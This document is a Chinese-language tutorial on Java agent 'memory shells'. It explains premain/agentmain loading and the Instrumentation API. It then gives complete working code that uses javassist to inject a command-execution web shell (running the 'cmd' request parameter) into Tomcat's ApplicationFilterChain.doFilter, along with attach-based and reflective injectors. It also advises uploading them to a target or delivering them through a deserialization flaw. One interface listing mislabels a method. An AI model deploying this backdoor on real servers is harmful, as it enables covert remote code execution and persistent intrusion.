java agent内存马
目录
What is java agent
agent,是JDK1.5提出的一个机制。 它起到了 "代理"的作用,就像BurpSuite可以对浏览器进行代理、抓包,javaagent也可以对java程序的信息进行监控、修改等操作。
JDK1.5后引入了 java.lang.instrument 包,这个包用于实现javaagent这个机制,它里面的API可以在不影响目标java程序正常编译的情况下
动态修改其字节码,也就是说可以动态修改其类、方法、属性 等信息。
javaagent的加载分为启动前加载( jdk 1.5 以后)和启动后加载(jdk1.6以后),分别对应着premain 方法和agentmain 方法。
启动前加载
启动前加载的原理是:在java程序main函数执行前,先执行java agent设定的premain方法。这个方法在JDK1.5被提供了出来。
操作
首先我们创建一个普通的类
public class test {
public static void main(String[] args){
System.out.println("Hello World!");
}
}
为其编写打包jar时所需要的的mainfest文件,test.mf。(注意mf文件中需要有一行空行)
Manifest-Version: 1.0
Main-Class: test
再创建一个agent类
import java.lang.instrument.Instrumentation;
public class agen {
public static void premain(String agentArgs, Instrumentation inst) throws Exception{
System.out.println(agentArgs);
}
}
编写mainfest,agen.mf
Manifest-Version: 1.0
Premain-Class: agen
然后执行以下指令,获得test.jar和agen.jar
然后用以下指令在test.jar程序执行前先执行agen.jar
java -javaagent:agen.jar[=options] -jar test.jar
可以发现我们premain中的代码比main中的代码优先执行了。
启动后加载
启动后加载原理是:在java程序启动后,使其指向我们设定的agentmain方法。agent内存马注入多用的是这种方式。
要实现启动后加载需要两个java文件,一个定义agentmain方法,一个起到注入器的作用。
操作
首先写agen.java
import java.lang.instrument.Instrumentation;
public class agen{
public static void agentmain(String agentArgs, Instrumentation inst) {
for (int i = 0; i < 10; i++) {
System.out.println("agentmain gogogogo");
}
}
}
inject.java
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class inject{
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
String id = args[0];
String jarName = args[1];
System.out.println("id ==> " + id);
System.out.println("jarName ==> " + jarName);
VirtualMachine virtualMachine = VirtualMachine.attach(id);
virtualMachine.loadAgent(jarName);
virtualMachine.detach(); //断开与目标JVM的链接
System.out.println("ends");
}
}
test.java
public class test {
public static void main(String[] args){
System.out.println("main begin!");
while(true){
}
}
}
然后分别打包成jar包,其中agen.java的mf文件需要这样写
Manifest-Version: 1.0
Agent-Class: agen
这里输入test.jar 启动后的PID以及agentmain对应的jar包
可以发现确实注入了test.jar,且执行了agentmain里的方法。
动态修改字节码
上文讲述了agent的概念以及两种加载方式,下面会对javaagent修改字节码这一功能进行详细叙述。
动态修改字节码是使用Instrumentation来实现的,javaagent通过这个类与目标JVM进行交互,从而修改其数据,也就是修改其字节码。
这个类是一个接口类,它有如下方法。
public interface Instrumentation {
//增加一个Class文件转换器
void addTransformer(ClassFileTransformer transformer);
// 删除一个类转换器
boolean getAllLoadedClasses(ClassFileTransformer transformer);
// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
// 判断目标类是否能够修改。
boolean isModifiableClass(Class<?> theClass);
// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
......
}
对于修改字节码,比较重要的方法有addTransformer、getAllLoadedClasses、retransformClasses 等。
对于这些方法,有一个比较重要的概念是Transformer,它会拦截已加载的或者正在加载的类,并交由内部的transfrom方法进行处理,凭此可以用于修改class文件的字节码。
另外,想要让agent类能够实现修改字节码等操作,需要在mf中增加以下行,若没有以下配置则可能会导致报错。
Can-Redefine-Classes: true
Can-Retransform-Classes: true
addTransformer
通过该方法来注册Transformer,我们跟进ClassFileTransformer类来一窥Transformer的模样。
可以发现它也是一个接口类,所以我们要自己编写继承于它的Transformer去实现它的transform方法. 这个transform返回结果即转换后的字节码。
Transformer会拦截已加载的或者正在加载的类,并交由内部的transfrom方法进行处理。
我们这里写个小demo来输出所有被Transformer拦截的类。
import java.lang.instrument.Instrumentation;
public class agen{
public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new DefineTransformer(),true);
System.out.println("agent gogo");
Class[] classes = inst.getAllLoadedClasses();
for(Class clas:classes){
System.out.println(clas.getName());
}
}
}
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class DefineTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println(className);
return new byte[0];
}
}
getAllLoadedClasses
该方法可以列出所有已加载的class,并以数组形式返回。
import java.lang.instrument.Instrumentation;
public class agen{
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("agent gogo");
Class[] classes = inst.getAllLoadedClasses();
for(Class clas:classes){
System.out.println(clas.getName());
}
}
}
retransformClasses
这个方法能对已加载的class进行重新定义,可以配合getAllLoadedClasses方法来重新定义已加载对象。 具体是将已加载对象拦截,交由Transformer#transform 方法处理。
Demo
对上面的三个方法可能有了点懵懵懂懂的感觉,下面会通过一个内存马Demo来更深刻的认识agent是如何修改字节码的。
这里直接借用木头师傅的图片
这里的意思是便是:当加载到指定类时,通过javassist技术修改其字节码,将恶意代码进行植入,从而达到了内存马的目的。
agent内存马注入
这里以tomcat Filter 内存马为例,通过agent技术向其注入内存马。
tomcat 调用Filter的栈帧顺序如下
从图中可以看见它调用了ApplicationFilterChain#doFilter,这个方法的代码如下
它调用了internalDofilter并传入了request,response参数进入了下一层,开始调用filterchain中各filter对象的Dofilter方法。 不过我们想进行agent注入,完全不用到filterchain里去做文章,只需要修改ApplicationFilterChain#doFilter这个方法即可。
filterchain中各filter对象调用Dofilter方法所需要的参数仅仅只要request,response和filterchain
而其中filterchain属性的作用仅仅是去调用filterchain中下一个filter的Dofilter方法,所以实际上被Dofilter方法调用来处理用户请求的参数只有response和request. 下图是一个filter内存马,可以发现内存马仅在request和response上做了文章。
而在ApplicationFilterChain#doFilter中我们已经获得了request和response属性,所以我们可以直接修改ApplicationFilterChain#doFilter字节码向其写入内存马。
实操
我们先写好agent和Transformer。
我们拦截类ApplicationFilterChain,去修改它的方法DoFilter。
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new DefineTransformer(),true);
// 获取所有已加载的类
Class[] classes = ins.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 对类进行重新定义
ins.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import javassist.*;
public class DefineTransformer implements ClassFileTransformer {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
System.out.println("transform begin");
className = className.replace("/",".");
if (className.equals(ClassName)){
System.out.println("Find the Inject Class: " + ClassName);
ClassPool pool = ClassPool.getDefault();
if (classBeingRedefined != null) { //这个地方必须加,它和获取相应ClassLoader有关,不加就有可能出现javassist.NotFoundException 错误
ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
pool.insertClassPath(classPath);
}
try {
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("doFilter");
m.insertBefore("System.out.println(321);\n"+
"javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
然后打包成jar,我这里是用 命令mvn assembly:assembly打包的,pom长这样
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<build>
<plugins>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestEntries>
<Premain-Class>agen</Premain-Class>
<Agent-Class>agen</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
</plugin>
</plugins>
</build>
<groupId>groupId</groupId>
<artifactId>agen</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>
</dependencies>
</project>
然后写注入器
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class inject{
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
String id = args[0];
String jarName = args[1];
System.out.println("id ==> " + id);
System.out.println("jarName ==> " + jarName);
VirtualMachine virtualMachine = VirtualMachine.attach(id);
virtualMachine.loadAgent(jarName);
virtualMachine.detach(); //断开与目标JVM的链接
System.out.println("ends");
}
}
然后我们可以把注入器打包成jar,将注入器和javaagent都上传到目标机器上,通过注入器将agent注入到目标tomcat中生成filter内存马。 也可以只上传agent,然后通过反序列化漏洞接口进行命令执行,以此来执行我们注入器的命令将agent注入到tomcat中生成filter内存马。
如果出现类找不到的情况,则需要通过URLClassLoader+反射加载我们所需要的类。 这里直接借用木头师傅写好的 URLClassLoader+反射加载 的注入器
package main.java;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.List;
public class inject {
public static void main(String[] args) throws Exception{
try{
java.lang.String path = "E:\\tools\\java\\idea\\agen\\target\\agen-1.0-SNAPSHOT-jar-with-dependencies.jar";
//这里是去加载注入器所需要的tools.jar,对应类为com.sun.tools
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);
System.out.println("Running JVM list ...");
for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
java.lang.String name = (java.lang.String) displayName.invoke(o,null);
System.out.println(name);
// 列出当前有哪些 JVM 进程在运行
// 这里的 if 条件根据实际情况进行更改
if (name.contains("org.apache.catalina.startup.Bootstrap start")){
// 获取对应进程的 pid 号
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
System.out.println("id >>> " + id);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
System.out.println("Agent.jar Inject Success !!");
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}
}
这里是选择把注入器打包成jar用,用Manifest打包(主要是maven还没玩明白),上文有有关Manifest的相关步骤,所以此处具体步骤省略了。
然后通过注射器将agent注入到tomcat中
坑点
- 在transfrom方法中我们写了这一段代码
if (classBeingRedefined != null) { //这个地方必须加,它和获取相应ClassLoader有关,不加就有可能出现javassist.NotFoundException 错误
ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
pool.insertClassPath(classPath);
}
如果不加这一段的话就会报错 javassist.NotFoundException:org.apache.catalina.core.ApplicationFilterChain
原因是这样的
“ClassPool.getDefault() 方法的搜索Classpath 只是搜索JVM的同路径下的class。当一个程序运行在JBoss或者Tomcat下,ClassPool Object 可能找到用户的classes。Javassist 提供了四种动态加载classpath的方法。” 如果仅仅靠一个getDefault,是无法获取到tomcat的类的,因为tomcat的类并没有存放在JVM同路径下。
要解决这个方法很简单,首先我们看一下transform提供的第三个参数的定义
classBeingRedefined:
if this is triggered by a redefine or retransform, the class being redefined or retransformed; if this is a class load, null
翻译过来就是,如果当前transform所处理的对象是已加载过的类,那么这个参数的值便是当前所处理的对象;如果是新加载的类,则为null
因为org.apache.catalina.core.ApplicationFilterChain在agent注入时肯定是已经加载过了的,所以我们可以直接通过这个参数来获得org.apache.catalina.core.ApplicationFilterChain的class对象,然后将其设置为javassist中ClassPool的ClassPath,这样就不会出现 javassist.NotFoundException了。
2.maven打包的使用,还得好好看看,折腾了好半天